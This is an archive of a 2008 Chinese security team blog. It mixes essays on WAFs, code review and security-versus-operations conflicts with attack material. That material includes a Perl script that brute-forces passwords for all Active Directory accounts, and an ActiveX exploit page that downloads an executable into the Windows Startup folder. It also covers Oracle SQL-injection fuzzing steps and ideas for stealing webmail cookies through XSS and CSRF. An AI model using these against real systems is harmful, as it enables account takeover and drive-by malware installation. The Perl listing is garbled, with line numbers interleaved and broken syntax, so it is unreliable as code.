2008年7月8日星期二

[Tips]企业内部AD脆弱密码审计

by 云舒
2008-07-09
http://www.ph4nt0m.org

这个是前段时间做的个小脚本,没什么用,审计内部AD脆弱密码的。做这样一些简单的工作,脚本语言确实挺合适的。需要一个普通的AD账号,导出账户名,过滤掉禁用的,然后开始扫描。密码字典按照自己公司的实际情况写就好了,支持%USERNAME%123这样的格式。

脚本里面的各种参数我写死了,因为自己用,不必要敲参数。如果想要用用看,自己改就是了,perl这种东西简单的学一下的话,一个上午就够了。下午不行,这种天气下午只适合睡觉,或者吃点冰绿豆汤之类的东西,反正是不适合看代码。

   1.
      
#!/usr/bin/perl
   2.
       
   
3.
      
use warnings;
   
4.
      
use strict;
   
5.
      
use Win32::OLE;
   
6.
      
use Data::Dumper;
   
7.
      
use Authen::Simple::ActiveDirectory;
   
8.
       
   
9.
      
use constant ADS_UF_ACCOUNTDISABLE => 2;
  
10.
      
use constant ADS_SCOPE_SUBTREE => 2;
  
11.
       
  
12.
      
my $server = 'bj.microsoft.com';
  
13.
      
my $domain = 'bj.microsoft.com';
  
14.
      
my %users;
  
15.
      
my @pwds;
  
16.
       
  
17.
      
select( STDOUT );
  
18.
      $
| = 1;
  
19.
       
  
20.
      
print "Loading account from ad";
  
21.
       
  
22.
      
&LoadUser( );
  
23.
       
  
24.
      
print "done!n";
  
25.
      
print scalar(keys(%users))." users loaded!n";
  
26.
       
  
27.
      
print "Loading password from dic";
  
28.
      
&LoadPwd( );
  
29.
      
print "done!n";
  
30.
       
  
31.
      
open( REPORT, ">report.txt" ) || die "create report error: $!n";
  
32.
      
select( REPORT );
  
33.
      $
| = 1;
  
34.
      
select( STDOUT );
  
35.
       
  
36.
      
foreach my $userkeys(%users) )
  
37.
      {
  
38.
          
foreach my $pwd@pwds )
  
39.
          {
  
40.
              
$pwd =~ s/%USERNAME%/$user/;
  
41.
             
  
42.
              
my $ret = &TestPwd( $user, $pwd );
  
43.
              
if$ret == 1 )
  
44.
              {
  
45.
                  
print "cracked! username=$user,password=$pwd,mail=".$users{$user}."n";
  
46.
                  
print REPORT "cracked! username=$user,password=$pwd,mail=".$users{$user}."n";
  
47.
       
  
48.
                  
last;
  
49.
              }
  
50.
              
#print "testing [$user/$pwd] n";
  51.
          }
  
52.
      }
  
53.
      
close( REPORT );
  
54.
         
  
55.
      
sub LoadUser
  
56.
      {
  
57.
          
my $objConnection = Win32::OLE->new( "ADODB.Connection" );
  
58.
          
my $objCommand = Win32::OLE->new( "ADODB.Command" );
  
59.
         
  
60.
          
# open ad
  61.
          
$objConnection -> open"Provider=ADsDSOObject;" );
  
62.
         
  
63.
          
$objCommand -> {"ActiveConnection"= $objConnection;
  
64.
         
  
65.
          
# search what and how
  66.
          
my $cmd = "select userAccountControl,distinguishedName,mail from 'GC://dc=bj,dc=microsoft,dc=com' where objectCategory='user'";
  
67.
          
$objCommand -> {"CommandText"= $cmd;
  
68.
         
  
69.
          
# import all users
  70.
          
$objCommand -> Properties -> {"Page Size"= 1000;
  
71.
          
# search all subtree
  72.
          
$objCommand -> Properties -> {"searchscope"= ADS_SCOPE_SUBTREE;
  
73.
         
  
74.
          
my $objRecordSet = Win32::OLE->new( "ADODB.Recordset" );
  
75.
          
$objRecordSet = $objCommand->Execute( ) || die "query data from active directory error,exitn";
  
76.
         
  
77.
          
while( not $objRecordSet -> eof )
  
78.
          {
  
79.
              
my $intUAC = $objRecordSet -> Fields("userAccountControl"-> value;
  
80.
             
  
81.
              
# remove diable account
  82.
              
if( not ( $intUAC & ADS_UF_ACCOUNTDISABLE ) )
  
83.
              {
  
84.
                  
my $longName = $objRecordSet -> Fields("distinguishedName"-> value;
  
85.
                  
my $mail = $objRecordSet -> Fields("mail"-> value;
  
86.
         
  
87.
                  
if( (!defined($mail)) or $mail eq "" )
  
88.
                  {
  
89.
                      
$mail = "null";
  
90.
                  }
  
91.
                  
if$longName =~ /^CN=([w.-_]+),/ )
  
92.
                  {
  
93.
                      
#print ."n";
  94.
                      
my $userName = $1;
  
95.
       
  
96.
                      
chomp$mail );
  
97.
                      
chomp$userName );
  
98.
       
  
99.
                      
$users{$userName= $mail;
 
100.
                  }
 
101.
              }
 
102.
              
$objRecordSet -> MoveNext();
 
103.
          }
 
104.
      }
 
105.
       
 
106.
      
sub LoadPwd
 
107.
      {
 
108.
          
open( FH, "<pass.txt" ) || die "Open password dict error,exit!n";
 
109.
         
 
110.
          
@pwds = <FH>;
 
111.
          
chomp@pwds );
 
112.
      }
 
113.
       
 
114.
      
sub TestPwd
 
115.
      {
 
116.
          
my $username = shift;
 
117.
          
my $password = shift;
 
118.
         
 
119.
          
my $ad = Authen::Simple::ActiveDirectory -> new( host => $server, principal => $domain ) || die "Connected error: $!";
 
120.
         
 
121.
          
if ( $ad->authenticate( $username, $password ) )
 
122.
          {
 
123.
              
return 1;
 
124.
          }
 
125.
          
else
 
126.
          {
 
127.
              
return 0;
 
128.
          }
 
129.
      }
 
130.
       

[Exploit]Microsoft Office Snapshot Viewer ActiveX Exploit

by cloie
2008-07-08
http://www.ph4nt0m.org

今天有人发了个Snapshot Viewer的ADV,结合CERT那篇dranzer.pdf,重现漏洞

EXP:

<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath 
= buf1;
obj.CompressedPath 
= buf2;
obj.PrintSnapshot();
</script>
</html>



Fuzzing时一般是对单个Property和单个Method()做FUZZ,这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的,再测试其他Property。由于此ActiveX的Property和Method都非常少,很快可以 FUZZ完

2008年6月24日星期二

[Tips]学习WebZine [0x02]后乱谈

by Superhei
2008-06-25
http://www.ph4nt0m.org

这里学习了下自己看的明白的PP

[PSTZine 0x02][0x07][乱谈之XSS攻击检测]

这个文章里提到了几个有趣的漏洞:

1.phpinfo() 4096字节后的xss,这个漏洞要是不去分析php的源代码是没有办法发现的,很多人看应用程序的原代码只去分析溢出等问题,但是忽视了应用上的安全, 这个还是要看发现者的意识,SE大牛分析php代码就不放过应用上的安全。而且就web程序的漏洞现在主要是看细节,而发现这些细节最好的办法就是分析 php本身的代码

2.word脚本执行漏洞,对于这个漏洞在hi群里很多人都测试过,没办法创建对象,所以不可以通过wsh等对象执行命 令,但是他可以访问url,这个我们就可以做很多事情[相当于一个csrf],比如引入一个gmail的xss的url,当你打开一个doc文件的时候 你的gmail的cookie就被别人偷了。就这个类型的程序利用还有很多比如pdf 比如最近有人发的[rar自解压文的挂马]... 可以做个应用程序的crsf攻击专题?以后的那些主动防御是不是还要防偷cookie的小偷呢?:)

[这里顺便说下我对csrf的理解,csrf可以认为是一种漏洞类型,但是同时也是一种攻击方式]

[PSTZine 0x02][0x06][深入挖掘ORACLE内部SQLINJECTION]

对于kj这个文章我绝对标题把"挖掘"改为"分析"或者"调试"更加好,对于挖掘他这个文章里提到的方法是不科学的,因为他"挖掘"的前提是用了人家公布的POC/EXP。

对于ORACLE里的SQLINJECTION的基本有2个方法[文章也有提到]

1.白盒[文章也没有提到具体的]

在John McDonald大牛的blog上有篇文章:http://taossa.com/index.php/2006/12/26/stored-procedure-sql-injection-cheat-sheet/

对于白盒来说我们要grep的关键词:

he best way to find these is to do a case insensitive substring search for the following: EXEC, DBMS_SQL, and OPEN.

2.黑盒
在kj文章最后提到的fuzz那才是挖掘

这里说一下ORACLE简单的FUZZ,可以查询ALL_OBJECTS找出所有的package function
procedure与ALL_ARGUMENTS关联获取执行对象的参数类型!

简单介绍具体的几个步骤如下:

a.根据object_name得到package的object_id

SQL> select object_id,object_type from all_objects where object_name='DRILOAD';

OBJECT_ID OBJECT_TYPE
---------- ------------------
30192 PACKAGE
30243 PACKAGE BODY

b.根据object_id得到函数/过程名

SQL> SELECT DISTINCT PROCEDURE$ FROM SYS.ARGUMENT$ WHERE OBJ#=30192;

PROCEDURE$
------------------------------
BUILD_DML
RESOLVE_SQE
VALIDATE_POL
VALIDATE_STMT

c.得到具体PROCEDURE$的参数个数及类型

SQL> select distinct position#,argument,pls_type from sys.argument$ where obj#=30192 and PROCEDURE$='VALIDATE_STMT';

POSITION# ARGUMENT PLS_TYPE
---------- ------------------------------ ------------------------------
1 SQLSTMT VARCHAR2

d.构造fuzz数据

SQL> CALL CTXSYS.DRILOAD.VALIDATE_STMT('''');
CALL CTXSYS.DRILOAD.VALIDATE_STMT('''')
*
ERROR 位于第 1 行:
ORA-06510: PL/SQL: 无法处理的用户自定义异常事件
ORA-06512: 在"CTXSYS.DRILOAD", line 42
ORA-01756: 括号内的字符串没有正确结束

上面的步骤只是简单介绍,具体实现起来还有很多细节要注意[如得到package的所有者如DRILOAD的所有者CTXSYS],花哥已经根据上面的原理实现了一个fuzz,效果还是有的 如:http://superhei.blogbus.com/logs/20127819.html

另外:对于kj文里的“当然最好是审核一下FUZZ的对象EXECUTE权限是否为PUBLIC”,这个是没有必要的,而且对于高权限用户的PACKAGE还是有意义的。对于oracle里的注射在web上利用一直都是围绕着2个问题:

a."权限提升"
b."执行多语句"

但 是oracle里的function调用是很复杂的,比如一个sys的A()里有权限,但是它对PUBLIC没有execuite权限,但是可以被另外一 个B()调用,B()的EXECUTE权限是PUBLIC,所以一样可能被利用,而且对于web上的inj 很多连接用户的权限很高,通过注射可以执行多语句。


[PSTZine 0x02][0x04][浅析浏览器的跨域安全问题]

这个文章比较有意思,首先介绍这个文章的一些8挂:

首 先要从bluehat还是Manuel Caballero的一个题目讲起,由于bluehat的变态[不公布ppt等资料],但是在bluehat的新闻介绍里无意发了个pic[这个pic我 现在找不到了],被sdc看到了 于是从那个pic给出点信息开始研究测试,终于有了:http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html, 接下来就是pdp的介绍推广:http://www.gnucitizen.org/blog/ghost-busters/。对于有价值的信息我是很愿 意共同享受的,于是我看到他们的blog 并发在了hi群里 一起测试讨论。于是qz测试后有了这个文章,并且有了新的进展 :)。 不过最后我在和参加过bluehat的朋友讨论,但是这个朋友告诉我:Manuel Caballero在bluehat上讲的根本不是这个问题 .....

最后bs下ms的恶心,为了得到bluehat的ppt[主要是web的],我找了很多朋友,只有kuza55分享了他的 ppt,还问了kuza55和sowhat是否有其他的ppt,但是他们告诉我ms不让给出来他们的资料,于是我偷偷的email给Manuel Caballero没有回音,不过我还没死心,由于近年来国内暴了很多ms的0day,导致ms可能想和国内的安全人员拉拉关系于是出现了几个ms 安全部门的中国人。于是我想通过他们偷偷share下bluehat的ppt,但是最后的结果还是失败....

对于这个文章在技术方面的关键主要有2个:

a. {toString:function(){return "some-string";} 看了pdp的blog上可以发现这个方法是通过大量测试 得到的结果 ?
b.javasript: 这个就是qz文里的关键利用,因为qz的测试分析思路是值得学习的 :)


[PSTZine 0x02][0x09][如何识别高级的验证码]

对于这个文章里的技术我是不怎么懂的,这里主要是感慨一下,文中的利用主要都是在gui下识别,对于csrf 和web自动化估计是没太大意义 :(


对于其他的文章不在我搞的范围........

rar-gmailxss.bmp http://docs.google.com/File?id=dd9wcvmj_5dbhzqggj_b

word-gmailxss.bmp http://docs.google.com/File?id=dd9wcvmj_3ncwwzjs6_b




[Tips]浏览器cookie安全机制和csrf

by axis
2008-06-25
http://www.ph4nt0m.org

这两天hi群里在讨论关于csrf实现条件的问题,茄子指出了在IE环境下,csrf只是针对session cookie有效,而本地保存的stored cookie在变成当前IE的session cookie前,跨域提交是会被IE阻断的。

通俗来讲就是如果浏览器进程中没有缓存过第三方站点,没访问过,那么使用img/ iframe 标签等跨域访问第三方站点是会被阻断发送cookie的。 这时候的CSRF就会仅仅只是get或者post请求,而不会发送cookie,那么很多需要 验证的提交都会失败。

实际上这里是浏览器的一个cookie安全机制,不光是img 、 iframe等标签,直接 跨域 post或者 get都可能出现这种问题 (使用session cookie和 stored cookie的区别)。

我以前做的一个xss测试, xss成功了3000多次,但 csrf 的一个跨子域的请求却只成功了 100多次, 当时总找不到原因,以为是payload稳定性的问题,现在想来应该就是这个跨域提交被阻断cookie的原因了。

那么根据设想,为了提高csrf的成功率,我们可以在xss后使用一次 window.open(),让用户开个小窗先访问下需要csrf的域,刷出来 一个session cookie,然后就可以csrf了。 不过这个想法还需要测试,而且也不够隐蔽。

PS: Firefox不存在这种阻断cookie的机制

茄子的tips:
http://xss.betaslife.com/blog/?p=24

[Tips]WAF(Web Application Firewall) and Code Review

by axis
2008-06-25
http://www.ph4nt0m.org

最近对于这两种方法的争论挺多的。

实际上,在我思想中,企业搞web安全,这是两个主攻方向了。(PCI标准也这么要求)

我习惯上把WAF归纳为过滤层,就是在应用的架构中有这么一个 filter-tier, 他起的作用是过滤和净化危险输入。在架构中的位置可以是多样化的:单独的硬件、apache mod、应用里面捕获输入;

WAF如果开启阻断功能的话,就可以起到虚拟补丁的功能。在这个意义上来说,可以减小程序员的工作量。

而WAF的最大阻力则是:
1. 误报
2. 对性能的影响
3. 稳定性

而AppSec这些公司推的WAF都属于硬件产品。包括mod-security等,他们都自己有一套漏洞规则,然后卖给甲方。这也是他们产品难推的原 因,尽管你吹的天花乱坠,但实际上敢开启block模式的估计不会有多少,实际上jeremiah grossman自己也承认了,并引用了一段话

“When you know nothing, permit-all is the only option. When you know something, default-permit is what you can and should do. When you know everything, default-deny becomes possible, and only then.”


要了解所有的东西,就要从一开始就上WAF,对于很多半路出家搞安全的网站来说,这显然是很难接受的。

所以真正要实现好的WAF,只能是自己开发,自己部署,通过“学习模式”,来消除误报。而且自己的东西,是可控的,至少从心理上来说是可控的。

WAF的模式是有一定的作用,但不是万能的,也没厂商吹嘘的那么玄乎。这玩意治标不治本,无法带给你的网站安全; 只有有人不断专业维护的WAF,才能从一定程度上说可以带给你安全。这就是我一直在强调的: 安全是一个持续的过程。

与WAF对应的另外一个方向是code review。 code review也有很多方向,不是随便从网上抄个规范来就行的。 同样的,code security review可以做为sdl中的一个核心过程,在软件工程中发扬光大。 每个企业都需要找到自己代码的特色,从而定制出符合自己特色的代码规范,和代码漏洞扫描工具。 这些思想也是我在 《安全幻想曲2008》中曾经强调过的,可惜从CB的反馈看来,真正能看懂我那篇paper背后意思的人的恐怕不多。

code review 是一个治本的过程,也需要长期坚持。不过review code的成本会比较大,有人力也有时间的投入,还有更多的沟通成本。code review的方向 应该是尽可能降低对个人经验的依赖,这就需要有优秀的规范和规则。

在应用安全里, WAF和code review应该是相辅相成的。但是我看现在不少厂商为了牟利,鼓吹WAF的优越性,让WAF走上了歪路,企业冤枉钱花了,却只是一个花架子的安全,一戳就破。如何正确应用,才是甲方安全人员需要思考的问题。

先瞎扯这么多,这两个话题可以讲很深,以后再慢慢一一侃来。

[Tips]安全部门和运维部门

by 云舒
2008-06-25
http://www.ph4nt0m.org

前几天在《无线网络安全之三》中 提到了运维部门KPI的问题,这里重新把它拉出来,顺便说点别的。太多的网络维护人员,鉴于网络稳定性在KPI中占的比重,不愿意对网络做一点点无害的改 动。只要目前的网络没有瘫痪,他们可能就不愿意去做改进了,更愿意保持现在的样子继续运行。后期安全策略的推进,真的是一个很困难的事情。安全应该在设计 当初就考虑进去,可是没有企业在创业当初就去做这方面的投入吧,毕竟安全对创业公司来说是一种投入和伤害。让步一点的说,尽可能早的考虑进去,在公司网络 规模还不是过于庞大杂乱的时候,开始部署安全策略,已经是很有远见的战略了。

对于一般的运维部门经理或者总监,安全不在他们的考虑范畴之内。他们在意的安全,仅仅是数据是否有恰当的备份,机房的电力是否足够充裕,温度是否足够低, 负载均衡设备是否能够支撑,带宽是否足够快等等。从广义的安全来说,这些确实也是安全部门应该考虑的问题。但是毕竟这只是广义安全中的一部分,而且是不被 安全部门的上级老板认为是安全部门成绩的部分,因为这部分是由运维部门来实施的。这里安全部门和运维部门就会有冲突了,运维部门考虑的安全是广义安全的一 部分,他们愿意实施的也是这一部分,而这一部分恰好是狭义的安全所不关注的,不被安全部门上级老板认为属于安全部门成绩的那一部分。另一方面,被上面老板 认为是安全部门成绩的那一部分狭义的安全,安全需要努力去做的那一部分,恰好和运维的KPI某种意义上相冲突。

简单的说,狭义安全和运维是冲突的。运维喜欢做的,是狭义安全不重视的。安全喜欢做的,是运维反感的。解决这个问题,一般来说是依靠沟通。不过我总觉得沟 通不是长久之计,而且不同公司不同的风格,沟通起来更为困难。而且沟通是一个主动性的东西,需要强制性的东西来保障才是最可靠的。我觉得组织结构是比较好 的办法,也就是说让运维的KPI和安全的KPI归结到一个人的身上。系统管理,网络运维,IT内网,安全部门,四个部门统统归结到一个大部门的下面,大部 门总监的业绩,既包括运维,也包括安全,因此,他自然会考虑如何去协调安全和运维的比重。